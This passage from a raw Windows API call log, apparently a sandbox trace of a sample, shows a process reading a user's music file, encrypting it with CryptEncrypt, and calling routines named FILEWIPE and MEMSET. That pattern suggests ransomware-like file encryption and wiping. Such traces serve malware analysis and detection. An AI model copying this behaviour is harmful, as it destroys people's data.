wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.579] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\zcLJLew5Ko3qLSRl.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\zcljlew5ko3qlsrl.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.579] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.579] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.579] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.579] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.579] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.596] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.596] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.596] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.596] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.597] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.597] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xdcad, lpOverlapped=0x0) returned 1 [0027.598] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.601] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.601] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.601] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.601] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.602] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.602] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.602] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.602] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.602] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.602] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.602] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.602] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.602] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064b00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.603] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.603] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.603] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.603] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.603] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.603] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.603] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.604] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.604] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.604] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.604] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.604] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.608] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.608] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.608] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.608] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.608] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.608] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.608] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.608] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.608] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.609] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0027.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417ad60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0027.612] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0027.612] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xdcad, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xdcb0) returned 1 [0027.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.612] CharLowerBuffW (in: lpsz="byte[56497]", cchLength=0xb | out: lpsz="byte[56497]") returned 0xb [0027.613] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.613] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.613] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.613] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.613] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.613] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43a3670*, pdwDataLen=0xe8f3dfdf68*=0xdcad, dwBufLen=0xdcb0 | out: pbData=0xe8f43a3670*, pdwDataLen=0xe8f3dfdf68*=0xdcb0) returned 1 [0027.613] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.613] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.613] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.614] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.614] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.614] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.614] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.614] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.614] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.614] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.614] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.614] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.614] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.614] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.614] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.614] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.614] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.621] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.621] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.621] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.623] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.623] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.623] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.623] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.623] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.623] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.623] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.623] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.623] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.623] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.624] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.624] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.624] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.624] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.624] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.624] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.624] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.624] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.624] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.624] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.624] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0027.624] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.624] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.624] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.624] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.624] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.624] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.624] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.629] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.630] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.630] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.630] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.630] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.630] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.630] CharLowerBuffW (in: lpsz="byte[56493]", cchLength=0xb | out: lpsz="byte[56493]") returned 0xb [0027.630] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.630] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.630] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.630] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.630] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.630] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.630] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 